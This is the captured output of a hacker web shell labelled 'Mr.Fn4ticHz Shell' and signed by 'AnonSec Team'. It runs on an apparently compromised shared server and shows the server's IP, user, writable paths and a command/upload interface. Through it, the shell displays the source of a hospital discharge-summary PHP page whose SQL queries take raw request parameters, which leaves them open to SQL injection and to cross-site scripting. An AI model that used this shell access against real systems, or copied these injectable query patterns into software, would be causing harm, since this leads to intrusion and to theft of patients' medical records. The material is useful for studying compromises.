Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.21.159.82
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/discharge_mod.php
<?php
session_start();
require_once('../DBManager.php');
require_once('../LoginManager.php');
require_once('../patientmanager.php');
include("dbconnection.php");
if(isset($_POST[submit]))
{
   PatientManager::discharge("$_GET[prescriptionid]","$_GET[patientid]","$_GET[hospital_id]","$_POST[status]","$_POST[COdischarge]","$_POST[Advice_Discharge]","$_POST[created_by]","$_POST[entered_by]");
}
if(isset($_POST[dischargemedicine]))
{
		PatientManager::Medicine("$_GET[prescriptionid]","$_GET[patientid]","$_POST[DRUGS]","$_POST[Dose]","$_POST[Route]","$_POST[Frequency]","$_POST[duration]","$_POST[durationselect]","$_POST[potential]","$_POST[poa]","$_POST[status]","$_POST[Action]","$_POST[entered_by]");
	 }
	 
 if(isset($_POST[status]))
{ 
$sql ="UPDATE medicinede SET status='$_POST[status]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>
 window.history.go(-1)</script>";
     } 
    
}
	 

?>

  <h1 align="center">Case Summery and Discharge Record</h1>
<?php 
$sql ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
  	    $sql1 ="SELECT * FROM request_for_admission_ipd WHERE patientid='$rs[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($rsr = mysqli_fetch_array($qsql1))
		{
        	$sql ="SELECT * FROM site_users WHERE userno='$rsr[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
		{
		$sql ="SELECT * FROM admin WHERE id='$re[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		while($rs1 = mysqli_fetch_array($qsql))
		{
     echo "
<div class='center'>
    <table id='example2' class='table table-bordered table-hover' width='100%'>
<tr>
<td width='50%'> U.H.I.D NO: </td>
<td width='50%'>$rsr[patientid]</td>
</tr>
<tr>
<td width='50%'> Ward: </td>
<td width='50%'>$rsr[Ward]</td>
</tr>
<tr>
<td width='50%'> Hospital Name: </td>
<td width='50%'>$rs1[hsname]</td>
</tr>
<tr>
<td width='50%'> Date of Admission: </td>
<td width='50%'>$rsr[created_at]</td>
</tr>
<tr>
<td width='50%'> Doctor: </td>
<td width='50%'>$rsr[Admitted_Under]</td>
</tr>

<tr>
<td width='50%'> Operation: </td>
<td width='50%'>$rsr[created_at]</td>
</tr>
<tr>
<td width='50%'> Pt. Name: </td>
<td width='50%'>$rs[patientname]</td>
</tr>
<tr>
<td width='50%'>  W/O,D/O,S/O. :  </td>
<td width='50%'>$rs[HusbandName]</td>
</tr>
<tr>
<td width='50%'>  DOB:  </td>
<td width='50%'>$rs[dob]</td>
</tr>
<tr>
<td width='50%'> Sex : </td>
<td width='50%'>$rs[gendor]</td>
</tr>

<tr>
<td width='50%'> Address : </td>
<td width='50%'>$rs[Country] | $rs[State] | $rs[city] | $rs[bloc] |$rs[pincode] </td>
</tr>

<tr>
<td width='50%'> Mobile No. : </td>
<td width='50%'>$rs[numbers] </td>
</tr>
";
}
}
}
}
?>


	<table id="example2" class="table table-bordered table-hover">  
      <tbody>
           <?php
		  	$sqlpatient= "SELECT * FROM request_for_admission_ipd WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
			$qsqlpatient = mysqli_query($con,$sqlpatient);
			while($rr=mysqli_fetch_array($qsqlpatient))
			{
			
         
       	echo "
		
	           <tr> <td height='62'> Consultant’s Name :   </td>
	           <td>$rr[Admitted_Under]</td></tr>
             
				   ";
          	}
		  ?>
		   </table>
        <?php
    $sql3 ="SELECT * FROM request_for_admission_ipd WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql3 = mysqli_query($con,$sql3);
		if($rs2 = mysqli_fetch_array($qsql3))
				{
if(on==$rs2[Addiction])
{
?>
<div id='mmenu'>
<h3 align='center'>Addiction </h3>
<table id='example2' class='table table-bordered table-hover'>
	<tr>	<?php
$sql ="SELECT * FROM request_for_admission_ipd WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Tobacco'];
if($usertype == 'on'){
    echo "<td width='50%'>Tobacco: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'>Tobacco: </td><td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?> 
</tr>
<tr>
		<?php
$sql ="SELECT * FROM request_for_admission_ipd WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Alcohol'];
if($usertype == 'on'){
    echo "<td width='50%'>Alcohol: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>
</tr>
<tr>
		<?php
$sql ="SELECT * FROM request_for_admission_ipd WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
		   
$usertype=$rs['Smoking'];
if($usertype == 'on'){
    echo "<td width='50%'>Smoking: </td>
<td width='50%'> <i class='fa fa-check' aria-hidden='true'></i></td>";
} else{
    echo "<td width='50%'> <i class='fa fa-times' aria-hidden='true'></i></td>";
}
}
?>
</tr>

	
		 	  <?php
}
}
?>

		  </table>
		    <h3 align="center">Past  Medical History </h3>
          
          <table id="example2" class="table table-bordered table-hover">
                  <thead>
                 
<tr><th>Medical Condition</th><th>Status</th></tr>

			 <?php
		$sql ="SELECT * FROM medi_condition_final WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[medicalcon]</td>     
            <td>&nbsp;$rs[Status]</td>
				
          </tr>                   
          
          ";
}
?>          
</table>
          <h3 align="center">Known allergies  </h3>
        <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
      
         <th><strong>Allergies</strong></th>
          <th><strong>Category</strong></th> 
          <th><strong>Edit</strong></th>
                </tr>
                  </thead>
				<?php
		$sql ="SELECT * FROM allergy WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($ra = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$ra[Allergen]</td>     
            <td>&nbsp;$ra[Category]</td>
            <td><a href='edit_alg.php?patientid=$ra[patientid]&allergy_id=$ra[allergy_id]'>Edit</a></td>
				
          </tr>                   
          
          ";
}
?>        </tr>
              
              </thead>
                  


                   </tbody>
  <tfoot>
          </tfoot>
        </table> 
      
	        <h1 align="center">Vitals</h1>	
	 <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                       <th><strong>Date Time</strong></th>
             <th><strong>BP(mmHg)</strong></th>
          <th><strong>Temp (oC) </strong></th>
            <th><strong>RBS </strong></th>
          <th><strong>Spo2</strong></th>  
          <th><strong>HR</strong></th> 
           <th><strong>Pulse</strong></th> 
        </tr>
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM vitals_final WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
     echo " <tbody>
            <tr>   <td>&nbsp;$rs[created_at]</td>
              		<td>&nbsp;$rs[BP]/$rs[BP2]</td>
              		 <td>&nbsp;$rs[Temp]</td>
              		 <td>&nbsp;$rs[RBS]</td>
              		 <td>&nbsp;$rs[Spo2]</td>
              		  <td>&nbsp;$rs[HR]</td>
              		   <td>&nbsp;$rs[Pulse]</td>
              					
          </tr>                   
          
          ";
}

?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
               <h1 align="center">Investigation </h1>	
		   <table id="example2" class="table table-bordered table-hover">
                  <thead>
                  <tr>
                  
    <div class='card-header d-flex p-0'>
                    <ul class='nav nav-pills ml-auto p-2'>
         <th><strong>Date & Time</strong></th>
         <th><strong>Investigation</strong></th>
          <th><strong>Result</strong></th> 
          <th><strong>Evidence (Upload)</strong></th>
                       </tr>
                  </thead>
                                   
<?php
   include("dbconnection.php");
			$sql ="SELECT * FROM investigation WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[created_at]</td>     
            <td>&nbsp;";
	   if (is_numeric($rs[Category]))
{
$sql1 ="SELECT * FROM labdepartment WHERE labdepartmentid='$rs[Category]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "$rh1[lab_department_name]";
}
   if (is_numeric($rs[Sub_Category]))
{
$sql1 ="SELECT * FROM radiobodypart WHERE radiobodypartid='$rs[Sub_Category]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "-  &nbsp; $rh1[bodypart]";
}
   if (is_numeric($rs[Sub_Category]))
{
$sql1 ="SELECT * FROM list_Investigation WHERE ivid='$rs[Investigation]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "-  &nbsp; $rh1[Investigation]";
}
            $sqlpatient1 = "SELECT * FROM list_Investigation WHERE ivid='$rs[ivid]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
	    $rsn[Investigation]"; }
	    echo"</b></td>
           <td>&nbsp;$rs[Result]</td>
		   <td>&nbsp;$rs[Evidence]</td>
		          </tr>                   
          
     ";
}
?>  
   </tbody>

        </table>
        
        
<form method="POST" name="submit"> 
  <input type="hidden" name="prescriptionid" value="<?php echo $_GET[prescriptionid]; ?>"  />
  <input type="hidden" name="status" value="Discharge">
    <table width="200" border="3">
      <tbody>
      
        

		  </select>
		  </tbody></table>
	  <h1 align="center">Condition at Discharge</h1>	
	<div class="checkbox">	<input type="radio" name="COdischarge" value="Operated"><span>Operated   </span>
	</div>
		<div class="checkbox">	<input type="radio" name="COdischarge" value="Operated"><span>Recovered Completely /Partially   </span>
	</div>	
	<div class="checkbox">	<input type="radio" name="COdischarge" value="Operated"><span>UN-CHANGED    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="COdischarge" value="LAMA"><span>L.A.M.A    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="COdischarge" value="Operated"><span>D.O.R.    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="COdischarge" value="Death"><span>Death</span>
	</div>
	<div >
	     <label>Clinical Note</label>
  <textarea name="Detail_Note" rows="3" cols="110"></textarea>
	</div>
	
		<div>
    	    	<lable>Date of procedure </lable>
    		<input type='date' name='suggested_date'>
    	</div>
    
              <?php
session_start();
require_once('../LoginManager.php');
require_once('../DBManager.php');
$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' ";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
if(Pregnancy==$rs[casetype])
{
?>  <div id="mmenu">

		 <h1 align="center">Family planning</h1>
		 <br>
		 	 <h5 align="left">Suggestion given</h5>
	<div class="checkbox">	<input type="radio" name="COdischarge" value="Operated"><span>Condom   </span>
	</div>
		<div class="checkbox">	<input type="radio" name="pills" value="Operated"><span> Birth control pills  </span>
	</div>	
	<div class="checkbox">	<input type="radio" name="birth_control_Inj" value="Operated"><span>birth control Inj    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="Male_Nusbandi" value="Operated"><span>Male Nusbandi   </span>
	</div>
		<div class="checkbox">	<input type="radio" name="Vasectomy" value="Operated"><span>Vasectomy    </span>
	</div>
		<div class="checkbox">	<input type="radio" name="Other" value="Operated"><span>Other   </span>
	</div>
		
		
	
		<?php
}
		    
		}
		?>

    
	<div> 
	
	
	<label for="item">Advice On Discharge/ Follow Up::<span>*</span></label>  <textarea rows="4" cols="130" name="Advice_Discharge"></textarea></div>
	

<div  class="account-details">
    	<div> <label for="item"> Created By: <span>*</span></label>
    	<?php
    	$narayan=LoginManager::currentUser();
$harilal=LoginManager::getUserTypeByuname("$narayan");
    		$sql ="SELECT * FROM site_users WHERE userno='$harilal'";
		$qsql = mysqli_query($con,$sql);
		if($re = mysqli_fetch_array($qsql))
		{
		    echo "
		     <td><input type='text' name='created_by' id='created_by'  value='$re[name]' readonly></div>
		     ";
		}
		?>
         
                     <br>

          <td colspan="2" align="center"><input type="submit" name="submit" value="Submit"> </td>
    <p>&nbsp;</p>
  </div>
</form>
<?php
include("footer.php");
?>
<script type="application/javascript">
function loadmedicine(medicineid)
{
	if (window.XMLHttpRequest) 
	{
		// code for IE7+, Firefox, Chrome, Opera, Safari
		xmlhttp = new XMLHttpRequest();
	} else {
		// code for IE6, IE5
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
	xmlhttp.onreadystatechange = function() {
		if (this.readyState == 4 && this.status == 200) {
			document.getElementById("totcost").value = this.responseText;
			document.getElementById("cost").value = this.responseText;
			document.getElementById("unit").value = 1;
		} 
	};
	xmlhttp.open("GET","ajaxmedicine.php?medicineid="+medicineid,true);
	xmlhttp.send();
}

function calctotalcost(cost,qty)
{
	 document.getElementById("totcost").value = parseFloat(cost) * parseFloat(qty);
} 

function validateform()
{
	if(document.frmpresrecord.prescriptionid.value == "")
	{
		alert("Prescription id should not be empty..");
		document.frmpresrecord.prescriptionid.focus();
		return false;
	}
	else if(document.frmpresrecord.medicine.value == "")
	{
		alert("Medicine field should not be empty..");
		document.frmpresrecord.medicine.focus();
		return false;
	}
	else if(document.frmpresrecord.cost.value == "")
	{
		alert("Cost should not be empty..");
		document.frmpresrecord.cost.focus();
		return false;
	}
	else if(document.frmpresrecord.unit.value == "")
	{
		alert("Unit should not be empty..");
		document.frmpresrecord.unit.focus();
		return false;
	}
	else if(document.frmpresrecord.select2.value == "")
	{
		alert("Dosage should not be empty..");
		document.frmpresrecord.select2.focus();
		return false;
	}
	else if(document.frmpresrecord.select.value == "" )
	{
		alert("Kindly select the status..");
		document.frmpresrecord.select.focus();
		return false;
	}
	else
	{
		return true;
	}
	
}
</script>
<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script>
<script>
    $(document).ready(function(){
        $(".add-row").click(function(){
            var name = $("#name").val();
            var email = $("#email").val();
            var markup = "<tr><td><input type='checkbox' name='record'></td><td>" + name + "</td><td>" + email + "</td></tr>";
            $("table tbody").append(markup);
        });
        
        // Find and remove selected table rows
        $(".delete-row").click(function(){
            $("table tbody").find('input[name="record"]').each(function(){
            	if($(this).is(":checked")){
                    $(this).parents("tr").remove();
                }
            });
        });
    });    
</script>
<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>


Anon7 - 2022
AnonSec Team